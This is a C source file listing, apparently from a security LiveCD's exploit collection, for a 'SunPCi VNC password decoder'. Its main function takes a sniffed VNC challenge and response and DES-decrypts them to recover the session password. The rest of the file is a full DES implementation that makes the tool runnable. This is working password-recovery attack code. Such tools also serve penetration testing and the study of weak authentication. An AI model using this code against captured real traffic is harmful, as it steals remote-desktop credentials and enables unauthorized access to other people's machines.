home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / realvnc / vncsunpci.c < prev   
C/C++ Source or Header  |  2005-02-12  |  16KB  |  434 lines
  1. /* real quick SunPCi VNC password decoder */
  2. /* tested on Linux and Solaris; no warranties */
  3. /* all code is ripped, therefore I take no credit */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <time.h>
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11.  
  12. #define MAXPWLEN 8
  13. #define CHALLENGESIZE 16
  14. #define EN0     0       /* MODE == encrypt */
  15. #define DE1     1       /* MODE == decrypt */
  16.  
  17. extern int vncEncryptPasswd(char *passwd, char *fname);
  18. extern char *vncDecryptPasswd(char *fname, unsigned char *key);
  19. extern void vncRandomBytes(unsigned char *bytes);
  20. extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);
  21. extern void deskey(unsigned char *, int);
  22. extern void usekey(unsigned long *);
  23. extern void cpkey(unsigned long *);
  24. extern void des(unsigned char *, unsigned char *);
  25.  
  26.  
  27. int main (void){
  28.  
  29. /* put the first 8 bytes of your sniffed challenge here in challenge[] */
  30. unsigned char challenge[] = {0x87,0x5d,0x28,0xf3,0x54,0x2d,0xa9,0xe8};
  31. /* put the first 8 bytes of your sniffed response here in response[] */
  32. char response[]={0x0d, 0xfc, 0xc6, 0xfc, 0x62, 0xc2, 0x18, 0x0e};
  33.  
  34. printf("%s\n",vncDecryptPasswd(response,challenge));
  35. exit(0);
  36. }
  37.  
  38.  
  39. char *
  40. vncDecryptPasswd(char *inouttext, unsigned char *key)
  41. {
  42.     unsigned char *passwd = (unsigned char *)malloc(9);
  43.  
  44.     deskey(key, DE1);
  45.     des(inouttext, passwd);
  46.  
  47.     passwd[8] = 0;
  48.  
  49.     return (char *)passwd;
  50. }
  51.  
  52.  
  53. static void scrunch(unsigned char *, unsigned long *);
  54. static void unscrun(unsigned long *, unsigned char *);
  55. static void desfunc(unsigned long *, unsigned long *);
  56. static void cookey(unsigned long *);
  57.  
  58. static unsigned long KnL[32] = { 0L };
  59. static unsigned long KnR[32] = { 0L };
  60. static unsigned long Kn3[32] = { 0L };
  61. static unsigned char Df_Key[24] = {
  62.     0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
  63.     0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
  64.     0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };
  65.  
  66. static unsigned short bytebit[8]    = {
  67.     01, 02, 04, 010, 020, 040, 0100, 0200 };
  68.  
  69. static unsigned long bigbyte[24] = {
  70.     0x800000L,    0x400000L,    0x200000L,    0x100000L,
  71.     0x80000L,    0x40000L,    0x20000L,    0x10000L,
  72.     0x8000L,    0x4000L,    0x2000L,    0x1000L,
  73.     0x800L,     0x400L,     0x200L,     0x100L,
  74.     0x80L,        0x40L,        0x20L,        0x10L,
  75.     0x8L,        0x4L,        0x2L,        0x1L    };
  76.  
  77. /* Use the key schedule specified in the Standard (ANSI X3.92-1981). */
  78.  
  79. static unsigned char pc1[56] = {
  80.     56, 48, 40, 32, 24, 16,  8,     0, 57, 49, 41, 33, 25, 17,
  81.      9,  1, 58, 50, 42, 34, 26,    18, 10,  2, 59, 51, 43, 35,
  82.     62, 54, 46, 38, 30, 22, 14,     6, 61, 53, 45, 37, 29, 21,
  83.     13,  5, 60, 52, 44, 36, 28,    20, 12,  4, 27, 19, 11,  3 };
  84.  
  85. static unsigned char totrot[16] = {
  86.     1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };
  87.  
  88. static unsigned char pc2[48] = {
  89.     13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,
  90.     22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,
  91.     40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
  92.     43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };
  93.  
  94. void deskey(key, edf)    /* Thanks to James Gillogly & Phil Karn! */
  95. unsigned char *key;
  96. int edf;
  97. {
  98.     register int i, j, l, m, n;
  99.     unsigned char pc1m[56], pcr[56];
  100.     unsigned long kn[32];
  101.  
  102.     for ( j = 0; j < 56; j++ ) {
  103.         l = pc1[j];
  104.         m = l & 07;
  105.         pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;
  106.         }
  107.     for( i = 0; i < 16; i++ ) {
  108.         if( edf == DE1 ) m = (15 - i) << 1;
  109.         else m = i << 1;
  110.         n = m + 1;
  111.         kn[m] = kn[n] = 0L;
  112.         for( j = 0; j < 28; j++ ) {
  113.             l = j + totrot[i];
  114.             if( l < 28 ) pcr[j] = pc1m[l];
  115.             else pcr[j] = pc1m[l - 28];
  116.             }
  117.         for( j = 28; j < 56; j++ ) {
  118.             l = j + totrot[i];
  119.             if( l < 56 ) pcr[j] = pc1m[l];
  120.             else pcr[j] = pc1m[l - 28];
  121.             }
  122.         for( j = 0; j < 24; j++ ) {
  123.             if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];
  124.             if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];
  125.             }
  126.         }
  127.     cookey(kn);
  128.     return;
  129.     }
  130.  
  131. static void cookey(raw1)
  132. register unsigned long *raw1;
  133. {
  134.     register unsigned long *cook, *raw0;
  135.     unsigned long dough[32];
  136.     register int i;
  137.  
  138.     cook = dough;
  139.     for( i = 0; i < 16; i++, raw1++ ) {
  140.         raw0 = raw1++;
  141.         *cook     = (*raw0 & 0x00fc0000L) << 6;
  142.         *cook    |= (*raw0 & 0x00000fc0L) << 10;
  143.         *cook    |= (*raw1 & 0x00fc0000L) >> 10;
  144.         *cook++ |= (*raw1 & 0x00000fc0L) >> 6;
  145.         *cook     = (*raw0 & 0x0003f000L) << 12;
  146.         *cook    |= (*raw0 & 0x0000003fL) << 16;
  147.         *cook    |= (*raw1 & 0x0003f000L) >> 4;
  148.         *cook++ |= (*raw1 & 0x0000003fL);
  149.         }
  150.     usekey(dough);
  151.     return;
  152.     }
  153.  
  154. void cpkey(into)
  155. register unsigned long *into;
  156. {
  157.     register unsigned long *from, *endp;
  158.  
  159.     from = KnL, endp = &KnL[32];
  160.     while( from < endp ) *into++ = *from++;
  161.     return;
  162.     }
  163.  
  164. void usekey(from)
  165. register unsigned long *from;
  166. {
  167.     register unsigned long *to, *endp;
  168.  
  169.     to = KnL, endp = &KnL[32];
  170.     while( to < endp ) *to++ = *from++;
  171.     return;
  172.     }
  173.  
  174. void des(inblock, outblock)
  175. unsigned char *inblock, *outblock;
  176. {
  177.     unsigned long work[2];
  178.  
  179.     scrunch(inblock, work);
  180.     desfunc(work, KnL);
  181.     unscrun(work, outblock);
  182.     return;
  183.     }
  184.  
  185. static void scrunch(outof, into)
  186. register unsigned char *outof;
  187. register unsigned long *into;
  188. {
  189.     *into     = (*outof++ & 0xffL) << 24;
  190.     *into    |= (*outof++ & 0xffL) << 16;
  191.     *into    |= (*outof++ & 0xffL) << 8;
  192.     *into++ |= (*outof++ & 0xffL);
  193.     *into     = (*outof++ & 0xffL) << 24;
  194.     *into    |= (*outof++ & 0xffL) << 16;
  195.     *into    |= (*outof++ & 0xffL) << 8;
  196.     *into    |= (*outof   & 0xffL);
  197.     return;
  198.     }
  199.  
  200. static void unscrun(outof, into)
  201. register unsigned long *outof;
  202. register unsigned char *into;
  203. {
  204.     *into++ = (*outof >> 24) & 0xffL;
  205.     *into++ = (*outof >> 16) & 0xffL;
  206.     *into++ = (*outof >>  8) & 0xffL;
  207.     *into++ =  *outof++     & 0xffL;
  208.     *into++ = (*outof >> 24) & 0xffL;
  209.     *into++ = (*outof >> 16) & 0xffL;
  210.     *into++ = (*outof >>  8) & 0xffL;
  211.     *into    =  *outof     & 0xffL;
  212.     return;
  213.     }
  214.  
  215. static unsigned long SP1[64] = {
  216.     0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,
  217.     0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,
  218.     0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,
  219.     0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,
  220.     0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,
  221.     0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,
  222.     0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,
  223.     0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,
  224.     0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,
  225.     0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,
  226.     0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,
  227.     0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,
  228.     0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,
  229.     0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,
  230.     0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,
  231.     0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };
  232.  
  233. static unsigned long SP2[64] = {
  234.     0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,
  235.     0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,
  236.     0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,
  237.     0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,
  238.     0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,
  239.     0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,
  240.     0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,
  241.     0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,
  242.     0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,
  243.     0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,
  244.     0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,
  245.     0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,
  246.     0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,
  247.     0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,
  248.     0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,
  249.     0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };
  250.  
  251. static unsigned long SP3[64] = {
  252.     0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,
  253.     0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,
  254.     0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,
  255.     0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,
  256.     0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,
  257.     0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,
  258.     0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,
  259.     0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,
  260.     0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,
  261.     0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,
  262.     0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,
  263.     0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,
  264.     0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,
  265.     0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,
  266.     0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,
  267.     0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };
  268.  
  269. static unsigned long SP4[64] = {
  270.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
  271.     0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,
  272.     0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,
  273.     0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,
  274.     0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,
  275.     0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,
  276.     0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,
  277.     0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,
  278.     0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,
  279.     0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,
  280.     0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,
  281.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
  282.     0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,
  283.     0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,
  284.     0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,
  285.     0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };
  286.  
  287. static unsigned long SP5[64] = {
  288.     0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,
  289.     0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,
  290.     0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,
  291.     0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,
  292.     0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,
  293.     0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,
  294.     0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,
  295.     0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,
  296.     0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,
  297.     0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,
  298.     0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,
  299.     0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,
  300.     0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,
  301.     0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,
  302.     0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,
  303.     0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };
  304.  
  305. static unsigned long SP6[64] = {
  306.     0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,
  307.     0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,
  308.     0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,
  309.     0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,
  310.     0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,
  311.     0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,
  312.     0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,
  313.     0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,
  314.     0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,
  315.     0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,
  316.     0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,
  317.     0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,
  318.     0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,
  319.     0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,
  320.     0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,
  321.     0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };
  322.  
  323. static unsigned long SP7[64] = {
  324.     0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,
  325.     0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,
  326.     0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,
  327.     0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,
  328.     0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,
  329.     0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,
  330.     0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,
  331.     0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,
  332.     0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,
  333.     0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,
  334.     0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,
  335.     0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,
  336.     0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,
  337.     0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,
  338.     0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,
  339.     0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };
  340.  
  341. static unsigned long SP8[64] = {
  342.     0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,
  343.     0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,
  344.     0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,
  345.     0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,
  346.     0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,
  347.     0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,
  348.     0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,
  349.     0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,
  350.     0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,
  351.     0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,
  352.     0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,
  353.     0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,
  354.     0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,
  355.     0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,
  356.     0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,
  357.     0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };
  358.  
  359. static void desfunc(block, keys)
  360. register unsigned long *block, *keys;
  361. {
  362.     register unsigned long fval, work, right, leftt;
  363.     register int round;
  364.  
  365.     leftt = block[0];
  366.     right = block[1];
  367.     work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
  368.     right ^= work;
  369.     leftt ^= (work << 4);
  370.     work = ((leftt >> 16) ^ right) & 0x0000ffffL;
  371.     right ^= work;
  372.     leftt ^= (work << 16);
  373.     work = ((right >> 2) ^ leftt) & 0x33333333L;
  374.     leftt ^= work;
  375.     right ^= (work << 2);
  376.     work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
  377.     leftt ^= work;
  378.     right ^= (work << 8);
  379.     right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;
  380.     work = (leftt ^ right) & 0xaaaaaaaaL;
  381.     leftt ^= work;
  382.     right ^= work;
  383.     leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;
  384.  
  385.     for( round = 0; round < 8; round++ ) {
  386.         work  = (right << 28) | (right >> 4);
  387.         work ^= *keys++;
  388.         fval  = SP7[ work         & 0x3fL];
  389.         fval |= SP5[(work >>  8) & 0x3fL];
  390.         fval |= SP3[(work >> 16) & 0x3fL];
  391.         fval |= SP1[(work >> 24) & 0x3fL];
  392.         work  = right ^ *keys++;
  393.         fval |= SP8[ work         & 0x3fL];
  394.         fval |= SP6[(work >>  8) & 0x3fL];
  395.         fval |= SP4[(work >> 16) & 0x3fL];
  396.         fval |= SP2[(work >> 24) & 0x3fL];
  397.         leftt ^= fval;
  398.         work  = (leftt << 28) | (leftt >> 4);
  399.         work ^= *keys++;
  400.         fval  = SP7[ work         & 0x3fL];
  401.         fval |= SP5[(work >>  8) & 0x3fL];
  402.         fval |= SP3[(work >> 16) & 0x3fL];
  403.         fval |= SP1[(work >> 24) & 0x3fL];
  404.         work  = leftt ^ *keys++;
  405.         fval |= SP8[ work         & 0x3fL];
  406.         fval |= SP6[(work >>  8) & 0x3fL];
  407.         fval |= SP4[(work >> 16) & 0x3fL];
  408.         fval |= SP2[(work >> 24) & 0x3fL];
  409.         right ^= fval;
  410.         }
  411.  
  412.     right = (right << 31) | (right >> 1);
  413.     work = (leftt ^ right) & 0xaaaaaaaaL;
  414.     leftt ^= work;
  415.     right ^= work;
  416.     leftt = (leftt << 31) | (leftt >> 1);
  417.     work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
  418.     right ^= work;
  419.     leftt ^= (work << 8);
  420.     work = ((leftt >> 2) ^ right) & 0x33333333L;
  421.     right ^= work;
  422.     leftt ^= (work << 2);
  423.     work = ((right >> 16) ^ leftt) & 0x0000ffffL;
  424.     leftt ^= work;
  425.     right ^= (work << 16);
  426.     work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
  427.     leftt ^= work;
  428.     right ^= (work << 4);
  429.     *block++ = right;
  430.     *block = leftt;
  431.     return;
  432.     }
  433.  
  434.